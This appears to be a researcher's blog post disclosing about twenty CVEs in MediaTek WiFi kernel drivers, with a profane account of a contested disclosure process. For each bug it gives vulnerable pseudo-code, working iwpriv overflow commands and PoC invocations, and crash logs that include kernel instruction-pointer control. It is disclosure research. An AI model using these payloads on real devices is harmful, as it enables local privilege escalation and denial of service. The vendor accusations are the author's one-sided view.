mediatek? more like media-rekt, amirite.
introduction
Hello again! It’s been a while since I’ve posted and it’s been a busy year as usual (including a Pwn2Own win with the boys @SummoningTeam!). This post is going to be a sort of year-in-review for the work I’ve done on Mediatek WiFi chipsets. The bugs discussed below affect the MediaTek MT76xx and MT7915 Wifi chipset family; most of them were found over the course of ~3 months early in the year but were only made public over the past couple of months. A few others were technically discovered last year but were only made public this year. While the 3-month thing might sound impressive, the journey leading up to those three months took 2 years to get through. It’s true what they say, though: once you become familiar enough with a target the bugs just fall right out! Overall, these bugs were a fun introduction to kernel exploitation and being limited to a testbed with basically 0 debugging capabilities was a fun challenge for exploit development.
Along with the bugs, I’m also including a little story I thought might be a kick for those familiar with dealing with vendors and disclosure. An interesting bit of lore: I’d originally planned on releasing the details of these issues via “uncoordinated” disclosure earlier this year, when I wrote the first draft of this post. Better heads ultimately prevailed and I avoided that bag of bees but I hope the story below will give you an idea of why I had considered it.
The reason I chose to include the story at all is because I don’t think companies should be able to hide their shitty behavior behind arbitrary policies they come up with. Coordinated disclosure is an act of good faith and vendors who act in bad faith deserve to be named-and-shamed. Especially when their behavior calls into question their integrity and credibility in assessing the impact of the vulnerabilities in their products. I think the story below will show you exactly what I mean.
I’ll be diving deeper into the discovery and exploitation of a couple of these bugs in future posts, so stick around! But for now, let’s just get on with it.
NOTE: all code snippets included in this post are pseudo-code representative of how the bugs manifest.
the story: a glimpse into the madness
I’ve intentionally left out a lot of context in the interest of brevity and for…reasons. Let’s just say there were incentives for Mediatek to invalidate or downgrade the severity of the bugs I had reported. I’ll just leave it at that. This is the most blatant example but definitely not the only time Mediatek behaved…questionably throughout the process.
At some point during the (nearly 6-month-long) disclosure process for these bugs, the issue was raised about the requirement of root privileges for executing iwpriv set commands for a particular report. I clarified that the privilege needed was CAP_NET_ADMIN, but otherwise didn’t argue that point and it was agreed that some privileges were required for a subset of reported issues which were triggered via the iwpriv set interface. They reduced the impact from High to Medium for one of those issues.
Then a couple of days later, they reduced the impact for almost all of the remaining issues from High to Medium without providing any reason for doing so. When I asked about this for the bugs which weren’t affected by the privilege requirement we’d discussed, they responded by asking me to describe the steps for how I added an unprivileged user and whether root privileges were required to add an unprivileged user for one of the reports they’d reduced the severity of (ignoring all the others I’d asked about). I could barely even understand what that question was supposed to mean given the context. Because I’d used an unprivileged user to execute the PoC in my report, they were asking me whether I would have needed privileges to add that user (implying they think that’s something an attacker would need to do??). So I clarified that I added the steps to add an unprivileged user in my reproduction steps for the benefit of their engineers and to prove that privileges were not required to exploit the bug, and that the attacker would be the unprivileged user in an exploit scenario.
And then they hit me with an absolute banger: they claimed that, actually, their “default design” doesn’t consider the existence of unprivileged users, and all users are considered to be privileged, therefore privileges are always required and the CVSS is reduced to medium.
For a Linux kernel driver…provided as part of an SDK to OEM vendors…for chipsets supported on embedded and desktop/consumer devices…

I’ll let you sit with that one for a second. It’s makes even less sense the longer you think about it.
Their exact words (nearly indecipherable within the context of the discussion) were:
In our default design, we do not consider multiple user cases. By default, the system only has a privileged user, making the malicious actor more difficult to conduct the attack. This is unlike Android OS apps which can be directly downloaded from Google Play store.
That’s right. A multi-billion dollar company responsible for producing chipsets that are used across millions of devices says this is how they conceptualize the security of their products. This would be completely disqualifying if they actually meant it.
By this definition of their “default design”, local privilege escalation is impossible for these drivers. Except, they’ve been issuing CVEs and advisories for these chipsets for years, where they explicitly mention the lack of privileges required and the impact as local privilege escalation. Like, literally, they’ve issued CVEs for bugs I reported this year, with this exact language.

You can’t make this shit up. Are y’all fucking hearing this??? Interestingly, if you take a look at their most recent advisories, they no longer include any information about the impact. They started doing this after I had pointed out the discrepancy between their supposed “default design” and their classification of past bugs. It gives me the impression that they want to be able to use this bullshit argument in the future with other researchers and they’re trying to cover their bases.
To drive the point home even further (which I don’t think is needed at this point): what would have been the point of raising the issue of the CAP_NET_ADMIN privilege requirement mentioned at the beginning of the story if no concept of privilege separation even exists in their “default design”?
The answer is that they were lying. They were trying to lie to me and they were trying to lie to their customers and partners. They should be embarrassed. Wouldn’t you be embarassed to say this kind of stuff in public? Franky, it’s insulting. Only someone who doesn’t know shit about how this stuff works would be fooled by these arguments. The alternative is that they actually believe what they’re saying, which doesn’t seem much better.
It begs the question, though: why were they willing to behave in such an obviously dishonest way? I have some thoughts but I’ll leave that up to your imagination, dear reader. I will say this: companies will be as bad as they’re allowed and incentivized to be.
Anyway, after I’d made the decision to not go with “uncoordinated” disclosure, I thought I’d remind the folks I was dealing with that I would be under no obligation to not discuss their behavior publicly (as I’m doing now) after the CVEs were made public, along with all the proof needed to show their assessments were faulty. And wouldn’t you know it…that post-nut clarity hit and they dropped (most of) their bullshit arguments.
It’s funny how that works, isn’t it?
In conclusion: fuck it, we ball. Let’s move onto the bugs. These might give you a good laugh, too!
the bugs
CVE-2025-70631: Heap Overflow in SETPSK Ioctl Handler
- Affected Versions: MT7622 v5.0.5.4, v5.1.0.0; MT7629 driver v6.0.3.0
- Affected Devices: Netgear WAX206 (confirmed), Starlink Wifi Gen2
-
Requirements:
WSC_AP_SUPPORT
The handler code responsible for handling the RT_OID_SET_PSK OID is found in the function RTMPAPSetInformation(). The root cause of the vulnerability is improper bounds checking of the attacker-controlled iwreq.u.data.length value passed from userspace. An initial check is done on this value to ensure it does not exceed the max of 65 bytes, but failing this check does not immediately trigger an error if the driver is built with WSC_AP_SUPPORT feature. In this case, a field pWscControl from the wireless interface’s device structure is checked; if its not NULL, the operation proceeds and ends up calling copy_from_user() with the attacker controlled length value into the pWscControl->WpaPsk field. This is where the overflow occurs.
if (wrq->u.data.length < 65) {
...
} else {
...
if (pWscControl) {
// VULNERABLE copy_from_user()
res = copy_from_user(wsc_ctrl->psk, wrq->u.data.pointer, wrq->u.data.length);
...
}
}
PoC
PoC Source: PoC Link
Execute the PoC on a vulnerable system to corrupt kernel memory.
root@WAX206:/tmp# ./poc-ioctl
[ 312.422633] Unable to handle kernel paging request at virtual address 41414141414145
[ 312.430424] pgd = ffffffc016fb6000
[ 312.433854] [41414141414145] *pgd=0000000000000000[ 312.434057] [PMF]APPMFInit:: Security is not WPA2/WPA2PSK AES
[ 312.434060] [PMF]APPMFInit:: apidx=0, MFPC=0, MFPR=0, SHA256=0
[ 312.434126] wifi_sys_linkdown(), wdev idx = 0
...
CVE-2025-70632: Heap Overflow in R0KHID Ioctl Handler
- Affected Versions: MT7622 v5.0.5.4, v5.1.0.0; MT7629 driver v6.0.3.0
- Affected Devices: Netgear WAX206 (confirmed), Starlink Wifi Gen2
The handler code responsible for handling the RT_OID_802_11R_R0KHID OID is found in the function RTMPAPSetInformation(). The root cause of the vulnerability is improper bounds checking of the attacker-controlled iwreq.u.data.length value passed from userspace; rather than checking that the value does not exceed the size of the destination FtR0khId field and exiting early if it does, the code does the opposite and checks that the incoming size if not less than or equal to the destination field size, essentially forcing an overflow condition to occur. The overflow happens on the call to copy_from_user() and writes to wdev.FtCfg.FtR0khId[48]. This is likely the result of a typo (using <= when >= was intended).
...
if (wrq->u.data.length <= FT_ROKH_ID_LEN)
// error case
else {
status = copy_from_user(obj->ap.bssid[apidx].wdev.cfg.r0khid, wrq->u.data.pointer, wrq->u.data.length);
...
}
PoC
PoC Source: PoC Link
The included PoC demonstrates the ability to corrupt the instruction pointer with an arbitrary address by chaining this bug with an info leak in the iwpriv mac subcommand handler.

CVE-2025-20713: Stack Overflow in Set_BeaconReq_Proc Parsing of channel report list
- Affected Versions: MT7622 v5.0.5.4
- Affected Devices: Netgear WAX206 (confirmed)
The function Set_BeaconReq_Proc() in the mt7622_mt_wifi driver is vulnerable to a stack buffer overflow when handling the data passed in via the call to ioctl() which triggers the handler. Specifically, the issue is found in the code block that handles parsing of the “channel report list” command parameter field in the incoming command string. The issue occurs due to an unbounded while loop which uses a counter to index and write into a stack allocated buffer based on presence of the separate character # in the argument field. The values written to this buffer are 1-byte numeric values parsed using strtol() from the attacker-controlled input.
case 8:
...
// @hypr: VULNERABLE
while ((chan_id_str = strsep((char **)&input_str, "#")) != NULL) {
chan_rep_list[chan_id] = strtol(chan_id_str, 0, 10);
chan_id++;
}
...
PoC
On a system where the kernel driver is installed, run the following iwpriv command to issue the IOCTL for the vulnerable code path via the set subcommand for BcnReq key value.
# write in 65 (0x41), so we end up with 0x414141414141
export PAYLOAD=$(python3 -c "print('#65'*400)")
iwpriv ra0 set "BcnReq=1!50!12!FF:FF:FF:FF:FF:FF!HYPR!255!1!32+1!1#5!1!1$PAYLOAD"
CVE-2025-20714: Stack Overflow in Set_BeaconReq_Proc Parsing of regulatory class parameter
MediaTek assigned a CVE for this bug, but still claimed the bug was a duplicate because the overflow happens in the same function as the other two issues in this function (CVE-2025-20715, CVE-2025-20713). That’s it – that’s the only reason they used to argue it was a duplicate.
- Affected Versions: MT7622 v5.0.5.4
- Affected Devices: Netgear WAX206 (confirmed)
The function Set_BeaconReq_Proc() in the mt7622_mt_wifi driver is vulnerable to a stack buffer overflow when handling the data passed in via the call to ioctl() which triggers the handler. Specifically, the issue is found in the code block that handles parsing of the “regulatory class” command parameter field in the incoming command string (parameter index 7). The issue occurs due to an unbounded while loop which uses a counter to index and write into a buffer at RRM_MLME_BCN_REQ_INFO req_struct.reg_class[16] (stack allocated) based on presence of the separate character + in the argument field. The values written to this buffer are 1-byte numeric values parsed using os_str_tol() from the attacker-controlled input.
case 7: { /* regulatory class. */
while ((reg_str = strsep((char **)&thisChar, "+")) != NULL) {
req_struct.reg_class[reg_class_index] = strtol(reg_str, 0, 10);
reg_class_index++;
}
}
PoC
On a system where the kernel driver is installed, run the following commands to create the payload buffer and issue the IOCTL for the vulnerable code path via the iwpriv set subcommand for the BcnReq key value.
# write in 65 (0x41), so we end up with 0x414141414141
export PAYLOAD=$(python3 -c "print('+65'*400)")
iwpriv ra0 set "BcnReq=1!50!12!FF:FF:FF:FF:FF:FF!HYPR!255!1!32$PAYLOAD"
CVE-2025-20715: Stack Overflow in Set_BeaconReq_Proc Parsing of request IE parameter
- Affected Versions: MT7622 v5.0.5.4
- Affected Devices: Netgear WAX206 (confirmed), others not confirmed
The function Set_BeaconReq_Proc() in the mt7622_mt_wifi driver is vulnerable to a stack buffer overflow when handling the data passed in via the call to ioctl() which triggers the handler. Specifically, the issue is found in the code block that handles parsing of the “request_ie” command parameter field in the incoming command string (parameter index 10). The issue occurs due to an unbounded while loop which uses a counter to index and write into a buffer at request_ie[13] based on presence of the separate character # in the argument field. The values written to this buffer are 1-byte numeric values parsed using strtol() from the attacker-controlled input.
case 10: {
// @hypr: VULNERABLE
while ((req_str = strsep((char **)&input_str, "#")) != NULL) {
request_ie[request_ie_num] = strtol(req_str, 0, 10);
request_ie_num++;
}
}
PoC
On a system where the kernel driver is installed, run the following commands to create a payload buffer and run iwpriv to issue the IOCTL for the vulnerable code path via the set subcommand for BcnReq key value.
# write in 65 (0x41), so we end up with 0x414141414141
export PAYLOAD=$(python3 -c "print('#65'*400)")
iwpriv ra0 set "BcnReq=1!50!12!FF:FF:FF:FF:FF:FF!HYPR!255!1!32+1!1#5!1!1$PAYLOAD"
CVE-2025-20717: Stack Overflow in Set_Igmp_Flooding_CIDR_Proc
- Affected Versions: MT7622 v5.0.5.4
- Affected Devices: Netgear WAX206 (confirmed)
-
Requirements:
IGMP_SNOOP_SUPPORTflag
The vulnerability occurs due to a lack of bounds checking when performing a copy operation of user-controlled data into a statically-sized buffer. This happens in the function Set_Igmp_Flooding_CIDR_Proc() when the contents of arg (which contains the argument passed as the value of IgmpFloodingCIDR in the iwpriv command) is copied to the local buffer IPString[25] using NdisMoveMemory(). The copy operation uses the length of the string in arg as it’s size argument without checking to ensure the string length does not exceed the size of the ip_addr_str[] buffer. Any argument with a length greater than 25 will result in a stack buffer overflow.
char ip_addr_str[25] = {'\0'};
char *addr_str_ptr = NULL;
...
do {
...
addr_str_ptr = ip_addr_str;
// @hypr: VULNERABLE
NdisMoveMemory(addr_str_ptr, arg, strlen(arg));
addr_str_ptr[strlen(arg)] = '\0';
...
PoC
On a system where the kernel driver is installed, run the following commands to create a payload buffer and run iwpriv to issue the IOCTL for the vulnerable code path via the set subcommand for IgmpFloodingCIDR key value.
export PAYLOAD=$(python3 -c "print('A'*2000)")
iwpriv <interface> set IgmpFloodingCIDR=0-$PAYLOAD
CVE-2025-20718: Stack Overflow in RTMPAPIoctlE2PROM
- Affected Versions: MT7622 v5.0.5.4
- Affected Devices: Netgear WAX206 (confirmed)
The function RTMPAPIoctlE2PROM() in the mt7622_mt_wifi driver is vulnerable to a stack buffer overflow when handling the data passed in via the call to ioctl() which triggers the handler. Specifically, the issue is found in the code that handles parsing of the value that follows the = character in the command string value included in the request (indicating a write operation). The issue occurs when performing a write operation (NdisMoveMemory()) using the length of the incoming string value as the size argument without checking whether it exceeds the size of the destination buffer. In this case, the destination buffer dest[] is a char buffer of 16 bytes.
value = strchr(this, '=');
if (value != NULL)
*value++ = 0;
if (!value || !*value) {
...
} else {
// @hypr: VULNERABLE (you've gotta be fucking kidding lmao)
NdisMoveMemory(&dest, value, strlen(value));
dest[strlen(value)] = '\0';
...
}
PoC
On a system where the kernel driver is installed, run the following iwpriv command to issue the IOCTL for the vulnerable code path via the e2p subcommand.
iwpriv <interface> e2p rrr=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
CVE-2025-20731: Heap Overflow in OID_802_11_OCE_REDUCED_NEIGHBOR_REPORT Handler
This bug has been incorrectively (and deceptively, imo) marked as Medium severity but it is provably not. The proof that I submitted (showing an unprivileged user exploiting the bug) was intentionally misunderstood as meaning that an attacker would have to create an unprivileged user first in order to exploit the bug, and creating users requires privileges, therefore privileges are required…?????? I corrected them multiple times but they were unable to comprehend that creating the unprivileged user wasn’t something the attacker would need to do. Go figure.
- Affected Versions: MT7622 driver v5.0.5.4, v5.1.0.0, MT7629 v6.0.3.0, MT7915 v7.4.0.0
- Affected Devices: Netgear WAX206 (confirmed)
-
Requirements:
OCE_SUPPORTflag
The vulnerability occurs in the function RTMPAPSetInformation() when handling the case for OID OID_802_11_OCE_REDUCED_NEIGHBOR_REPORT (0x969) subcommand.
The issue is caused by the use of the attacker-controlled value nr_list_info->ValueLen in the call to NdisMoveMemory() without performing an upper bounds check to ensure the size of the write will not overflow the destination buffer. In this case, the destination is the pMBSS->nr_list_info.Value[512] buffer. nr_list_info->ValueLen is initialized with the data read from userspace via copy_from_user() and is a uint32, which means it’s possible to provide a length value of up to MAX_UINT32 bytes (0xffffffff). This will result in corruption of heap memory as the buffer is allocated within a larger structure allocated on the heap.
case OID_802_11_OCE_REDUCED_NEIGHBOR_REPORT: {
if (is_oce_rnr(wdev)) {
...
status = copy_from_user(&nr_list_info, wrq->u.data.pointer, wrq->u.data.length);
station_obj = &obj->cfg.mbssid[ap_idx];
// @hypr: VULNERABLE - overflow from nr_list_info.ValueLen, copied in from userspace
NdisMoveMemory(station_obj->nr_list_info.Value,
nr_list_info.Value, nr_list_info.ValueLen);
station_obj->nr_list_info.ValueLen = nr_list_info.ValueLen;
...
}
}
Vulnerable systems must have the OceReducedNeighborReport driver configuration flag set to 1.
PoC
PoC Source: PoC Link
Execute the PoC on the target system running a vulnerable driver to trigger a kernel crash:
# trigger the vulnerability
./ioctl-ocernr-heap rai0 8000
CVE-2025-20732: Stack Overflow in OID_802_11_OCE_REDUCED_NEIGHBOR_REPORT Handler
This bug has been incorrectively (and deceptively, imo) marked as Medium severity but it is provably not. The proof that I submitted (showing an unprivileged user exploiting the bug) was intentionally misunderstood as meaning that an attacker would have to create an unprivileged user first in order to exploit the bug, and creating users requires privileges, therefore privileges are required…?????? I explained myself multiple times but they were “unable” to comprehend that creating the unprivileged user wasn’t something attacker would need to do.
- Affected Versions: MT7622 driver v5.0.5.4, v5.1.0.0, MT7629 v6.0.3.0, MT7915 v7.4.0.0
- Affected Devices: Netgear WAX206 (confirmed)
-
Requirements:
OCE_SUPPORTflag
The vulnerability occurs in the function RTMPAPSetInformation() when handling the case for OID OID_802_11_OCE_REDUCED_NEIGHBOR_REPORT (0x969) subcommand. The issue is caused by the use of the attacker-controlled value wrq->u.data.length in the call to copy_from_user() without performing an upper bounds check to ensure the size of the data will not overflow the destination buffer. In this case, the destination is the nr_list_info structure which has a size of (512 + 4 + 4) = 520 bytes. Therefore, size values greater than 520 bytes will result in kernel stack corruption.
case OID_802_11_OCE_REDUCED_NEIGHBOR_REPORT: {
if (is_oce_rnr(dev)) {
...
// @hypr: VULNERABLE - overflow nr_list_info structure
status = copy_from_user(&nr_list_info, wrq->u.data.pointer, wrq->u.data.length);
station_obj = &obj->cfg.mbssid[ap_idx];
...
}
}
Vulnerable systems must have the OceReducedNeighborReport driver configuration flag set to 1.
PoC
PoC Source: PoC Link
Execute the PoC on the target system running a vulnerable driver to trigger a kernel crash:
# trigger the vulnerability
./ioctl-ocernr-overflow rai0 2000
CVE-2025-20733: Heap Overflow in RT_OID_WSC_SET_CON_WPS_STOP Handler
- Affected Versions: MT7622 v5.1.0.0, MT7629 v6.0.3.0, MT7981 driver v7.6.7.2
- Affected Devices: Netgear WAX206 (confirmed), SpaceX Starlink Wifi Gen2
The vulnerability occurs in the function RTMPAPSetInformation() when handling the OID for RT_OID_WSC_SET_CON_WPS_STOP (0x764). Within the body of the switch-case that handles this OID, an allocation is made of sizeof(WSC_UPNP_CTRL_WSC_BAND_STOP) and saved to the pointer upnp_data_struct. Assuming the allocation succeeds, a block is entered where copy_from_user() is called to copy data from userspace and write it to the memory allocated to upnp_data_struct, using wrq->u.data.length as the size argument for the copy operation.
No upper bounds check is performed on the value in wrq->u.data.length, which is attacker-controlled, prior to it’s use in the call to copy_from_user(), leading to a heap buffer overflow if an attacker provides a length value that is greater than sizeof(WSC_UPNP_CTRL_WSC_BAND_STOP) (which evaluates to 12 bytes).
case RT_OID_WSC_SET_CON_WPS_STOP: {
alloc_mem(NULL, &upnp_data_struct, sizeof(WSC_UPNP_CTRL_WSC_BAND_STOP));
if (upnp_data_struct) {
// @hypr: VULNERABLE
ret = copy_from_user(upnp_data_struct, wrq->u.data.pointer, wrq->u.data.length);
}
}
}
PoC
PoC Source: PoC Link
Execute the PoC with a large bufsize argument:
./poc ra0 2048
CVE-2025-20734: Heap Overflow in Set_SecWPAPSK_Proc
- Affected Versions: MT7622 v5.1.0.0, MT7629 v6.0.3.0, MT7981 driver v7.6.7.2
- Affected Devices: Netgear WAX206 (confirmed), SpaceX Starlink Wifi Gen2
-
Requirements:
CONFIG_AP_SUPPORTandWSC_AP_SUPPORTmust be enabled in the build configuration.
The vulnerability occurs in the function Set_WPAPSK_Proc() when processing an attacker-controlled argument string. The function first checks if the length of the argument string is less than 65. If so, it enters a block where the key data is set. However, if the length exceeds 65, the function does not treat this as an error and continues execution.
If the WSC_STA_SUPPORT build flag was enabled, the vulnerable code block is included in the function and is reached after the check above. Within this block:
- The length of the attacker-controlled argument string is calculated using
strlen() - The length value is used as the length argument in a call to
NdisMoveMemory()to write todev->ctrl.WpaPsk
No bounds checking is performed on the length of the argument string before this copy operation. Since ctrl->WpaPsk is statically sized at 64 bytes, any argument string longer than 64 bytes will overflow the buffer. Additionally, because NdisMoveMemory() is used for the copy operation, there are no restrictions on the payload data, allowing the attacker to include null bytes or other arbitrary data in the overflow.
int Set_WPAPSK_Proc(adapter_obj *obj, char *arg)
{
...
#ifdef WSC_STA_SUPPORT
// @hypr: VULNERABLE
NdisMoveMemory(dev->ctrl.WpaPsk, arg, strlen(arg));
#endif
}
PoC
Execute the commands below on a system running the vulnerable driver to trigger the bug.
iwpriv ra0 set WPAPSK=$(python3 -c "print('A'*8000)")
# force use of corrupted pointers
iwpriv ra0 set WscConfStatus=2
CVE-2025-20735: Heap Overflow in mtk_send_offchannel_action_frame
- Affected Versions: MT7622 v5.1.0.0
-
Requirements: Driver must be built with
DPP_SUPPORTconfiguration option (this should also enable theCHANNEL_SWITCH_MONITOR_CONFIGflag)
The vulnerability occurs in the function mtk_send_offchannel_action_frame(). The function allocates a fixed-size heap buffer OutBuffer of 2304 bytes using the MlmeAlloc() macro. However, the function subsequently calls MakeOutgoingFrame() to copy attacker-controlled data into this buffer without validating the size of the data.The size of the data to be copied is determined by the frm->frm_len field, which is passed from userspace via the IOCTL handler. If an attacker specifies a value larger than 2304 bytes, the memmove() operation in MakeOutgoingFrame() will write beyond the bounds of the allocated buffer, resulting in a heap buffer overflow.
{
...
// Allocate a fixed-size buffer of 2304 bytes
status = MlmeAlloc(pAd, &pOutBuffer);
...
// Vulnerable: No bounds checking on frm->frm_len
MakeOutgoingFrame(OutBuffer, &FrameLen,
sizeof(HEADER_802_11), &Hdr,
frm->frm_len, frm->frm,
0);
}
PoC
PoC Source: PoC Link
Compile and execute the PoC like this:
./poc ra0 5000
CVE-2025-20736: Stack Overflows in Set_IgmpSn_AddEntry_Proc and Set_IgmpSn_DelEntry_Proc
This was another fun one. This pair of Add/Delete functions both contain basically the same bug which results in a buffer overflow. MediaTek argued that one of these was a duplicate by their definition because, and I kid you not, the two bugs occur in the same file.
- Affected Versions: MT7622 v5.1.0.0
-
Requirement:
VENDOR_FEATURE6_SUPPORTenabled
Set_IgmpSn_DelEntry_Proc
The vulnerability occurs in the function Set_IgmpSn_DelEntry_Proc() when handling parsing of an IP address value from the argument string passed in from userspace. In this block, a for loop is used together with calls to rstrtok() using the . character as a separator to parse the individual octets of the IP address string. Within this loop, there is no bounds checking done on the i iterator variable to ensure it does not exceed the size of the ip_addr[4] buffer prior to using the i variable to index into the ip_addr[] buffer when writing the parsed numeric value from the argument token using strtol(). This results in an OOB write condition that can be used to corrupt the kernel stack if a string with more than 4 “.” characters is found.
while ((c = strsep((char **)&input, "-")) != NULL) {
} else {
for (i = 0, value = rstrtok(c, "."); value; value = rstrtok(NULL, ".")) {
...
// unbounded for loop with rstrtok will keep reading as long as '.' are found
ip_addr[i] = (char)strtol(value, NULL, 10);
i++;
}
...
}
The vulnerability can be triggered using the following payload, which sends an overlong sequence formatted reach the bug.
# trigger the bug by sending overlong '65.' sequence
iwpriv ra0 set IgmpDel=$(python3 -c 'print("65."*200)')
Set_IgmpSn_AddEntry_Proc
The vulnerability occurs in the function Set_IgmpSn_AddEntry_Proc() when handling parsing of an IP address value from the argument string passed in from userspace. The vulnerable logic for this function is identical to that shown in Set_IgmpSn_DelEntry_Proc() above.
The vulnerability can be triggered using the following payload, which sends an overlong sequence formatted reach the bug.
# trigger the bug in the Add handler
iwpriv ra0 set IgmpAdd=$(python3 -c "print('65.'*400)"
CVE-2025-20737: Stack Overflow + Info Leak in OID_802_11_PASSPHRASES Handler
- Affected Versions: MT7622 v5.1.0.0
The vulnerability occurs in the handler for OID_802_11_PASSPHRASES (0x0536). The code creates a fixed-size stack structure NDIS80211PSK psk and then uses copy_from_user() to copy data from user space into this structure without validating that the incoming data size matches the structure size. The size of the structure is 68 bytes, meaning any length value greater than 68 will result in kernel stack corruption. Additionally, the code goes on to use whatever value is in the struct member WPAKeyLen to print that many bytes from the contents of the WPAKey[] buffer without any bounds checking, resulting in disclosure of kernel memory to userspace in the kernel message buffer (dmesg).
case OID_802_11_PASSPHRASES: {
...
// stack allocated struct
NDIS80211PSK psk;
...
// VULNERABLE - copies user-provided data of arbitrary length into fixed stack buffer
ret = copy_from_user(&psk, wrq->u.data.pointer, wrq->u.data.length);
...
// VULNERABLE - uses user-provided length value to dump the contents of the WPAKey buffer, resulting in information leak if a size
// larger than the WPAKey buffer is provided.
for (i = 0 ; i < psk.WPAKeyLen ; i++)
debug_log(("%c", psk.WPAKey[i]));
}
PoC
Execute the PoC below with the following parameters:
./poc ra0 0x8536 1600
CVE-2025-20738: Stack Overflow in Set_ApScan_Proc
- Affected versions: MT7622 v5.1.0.0, MT7629 v6.0.3.0
The Set_ApScan_Proc() function contains a while loop that reads characters from the input argument string and writes them to a fixed-size stack buffer dest[33]. The loop continues until it encounters a NULL byte in the input string. The issue is that there’s no check to ensure that the index i used to access the dest array remains within bounds (0-32). If the input string is longer than 33 bytes and doesn’t contain a colon (:) or NULL byte within the first 33 characters, the loop will write beyond the bounds of the dest[] array, causing a stack buffer overflow.
{
...
char dest[33];
while (arg[j] != '\0') {
// VULNERABLE - unbounded write to temp[i]
dest[i] = arg[j];
j++;
if (dest[i] == ':' || arg[j] == '\0') {
// break
}
i++;
}
PoC
Execute the command below on a system running the vulnerable driver to trigger the bug.
iwpriv ra0 set ApScanChannel=$(python3 -c "print('A'*1000)")
CVE-2025-20739: Stack Overflow in Set_IgmpSn_BlackList_Proc
- Affected Versions: MT7622 v5.1.0.0
-
Requirements:
- Configuration: IGMP Snooping enabled, IGMP TV mode enabled
- Required features/build flags:
IGMP_TVM_SUPPORT,IGMP_SNOOP_SUPPORT,CONFIG_VENDOR_FEATURE10_SUPPORT
The vulnerability occurs in the function Set_IgmpSn_BlackList_Proc() when copying the argument string in arg to the fixed-size char buffer IPString[100] using NdisMoveMemory(). The size argument given for the copy operation is calculated by measuring the length of the string in arg (the source buffer) without any upper-bounds check to ensure the length of the argument string does not exceed the size of the destination buffer. An argument string which contains more than 100 characters will result in a buffer overflow of the IPString[] buffer.
char ip_str[100] = {'\0'};
char *p_ip_str = NULL;
...
do {
...
p_ip_str = ip_str;
// @hypr: VULNERABLE
NdisMoveMemory(p_ip_str, arg, strlen(arg));
PoC
Execute the command below on a system running the vulnerable driver to trigger the bug.
iwpriv ra0 set IgmpSnExemptIP=$(python3 -c "print('A'*200)")
CVE-2025-20741: Heap Overflow in vie_oper_proc
- Affected Versions: MT7622 v5.1.0.0
- Affected Devices: Netgear WAX206 (confirmed)
The function vie_oper_proc() in the mt7622_mt_wifi driver is vulnerable to a heap buffer overflow when handling the incoming command string passed in via the ioctl() handler and iwpriv interface. The overflow happens due to a lack of length restrictions on the parsing of a string token using sscanf() on the incoming string. This value is parsed and written to a heap allocated buffer, which can result in a heap buffer overflow if the length of the token exceeds the size of the allocated buffer. In this case, the size of the allocated buffer is calculated with the expression sizeof((MAX_VENDOR_IE_LEN + 1) * 2), which incorrectly calculates the size of the result of the arithmetic expression rather than using the result of the expression (as appears to be the intent). In effect, the allocation will always be for sizeof(unsigned int) bytes (4).
if (arg) {
// @hypr: VULNERABLE on last `%s` field into `ctnt`
input_argument = sscanf(arg,
"%d-frm_map:%x-oui:%6s-length:%d-ctnt:%s",
&op, &frm_map, oui, &length, ctnt);
...
}
PoC
On a system where the kernel driver is installed, run the following iwpriv command to issue the IOCTL for the vulnerable code path via the set command for the vie_op key.
iwpriv ra0 set vie_op=1-frm_map:1-oui:00bbaa-length:1194-ctnt:$(python3 -c "print('A'*600)")
CVE-2025-20748: Kernel Code Execution via OOB Write in SetRxvRecordEn
- Affected Versions: MT7622 v5.1.0.0
- Affected Devices: Netgear WAX206 (confirmed)
The vulnerability occurs in the function SetRxvRecordEn(), which is the handler for the iwpriv set RxvRecordEn subcommand. Within this function, an attacker-controlled argument string is parsed using the insecure string function sscanf() without a length limit or upper bounds check on the length of the argument string. This results in a buffer overflow of the obj->RxvFilePath[256] buffer, contained within the device object for the underlying network interface. As there is no upper bounds on the write size, it’s possible to corrupt almost the entirety of the struct wdev object and beyond.
// @hypr: VULNERABLE
rv = sscanf(arg, "%d-%d-%d-%d-%d-%d-%d-%d-%s",
&Enable, &Mode, &wcid, &band_idx, &g0, &g1, &g2, &error_en, &obj->RxvFilePath[0]);
PoC: Corrupt Kernel Memory
To trigger the vulnerability and corrupt memory:
iwpriv ra0 set RxvRecordEn=1-1-0-1-5-1-5-5-$(python -c "print('A'*400)")
After running the command, perform an operation that will result in the sending of a notification to enrolled notify handlers. An easy way to do this is to trigger a ‘link down’ operation on the interface via ifconfig ra0 down. Another option is to use the iwpriv ra0 set SSID=<anything>, which re-inits the interface and will trigger a notify call. A crash should occur in the function mt_notify_call_chain() upon access to a corrupted portion of the WifiSysInfo struct in the device struct for the interface.
PoC: Kernel IP Control
PoC Source: PoC Link
The PoC leverages the vulnerabilty to corrupt the adjacent WifiSysInfo object to hijack execution flow in the kernel. This object contains linked lists pointing to struct notify_entry objects, which each contain a function pointer at notify_entry.notify_caller, so corrupting the pointers in the linked list can be used to point to a fake struct notify_entry object and use that to hijack execution flow when the embedded callback function is executed. The PoC makes use of a kernel info leak available through the iwpriv mac subcommand handler to determine the address of memory containing controlled data in the kernel and writes a forged object to align with the notify_entry structure.
Executing the PoC will result in execution being redirected to the address 0x1337babe1337babe (tested on the MediaTek MT7622 AX3600-gmac1-WAX206 board, Linux 4.x). The output below shows successful control of the instruction pointer.
[ 2750.312397] [PMF]APPMFInit:: apidx=0, MFPC=1, MFPR=0, SHA256=0
[ 2750.318306] [PMF]PMF_MakeRsnIeGMgmtCipher: Insert BIP to the group management cipher of RSNIE
[ 2750.326896] wifi_sys_linkdown(), wdev idx = 0
[ 2750.331284] Internal error: Oops - SP/PC alignment exception: 8a000000 [#1] PREEMPT SMP
[ 2750.339278] Modules linked in: <snip>
[ 2750.463620] CPU: 0 PID: 13791 Comm: iwpriv Tainted: P 4.4.198 #0
[ 2750.470919] Hardware name: MediaTek MT7622 AX3600-gmac1-WAX206 board (DT)
[ 2750.477698] task: ffffffc01e641600 task.stack: ffffffc01e730000
[ 2750.483610] PC is at 0x37babe1337babe
[ 2750.487424] LR is at mt_notify_call_chain+0x3c/0x58 [mt7622_mt_wifi]
[ 2750.493770] pc : [<0037babe1337babe>] lr : [<ffffff80010b213c>] pstate: 80000145
[ 2750.501154] sp : ffffffc01e733850
[ 2750.504461] x29: ffffffc01e733850 x28: ffffff80012074d8
[ 2750.509773] x27: ffffff80012d35b0 x26: ffffffc019bf2000
[ 2750.515085] x25: ffffff800ae7ac34 x24: ffffffc01dc38485
[ 2750.520397] x23: 0000000000000000 x22: 0000000000000001
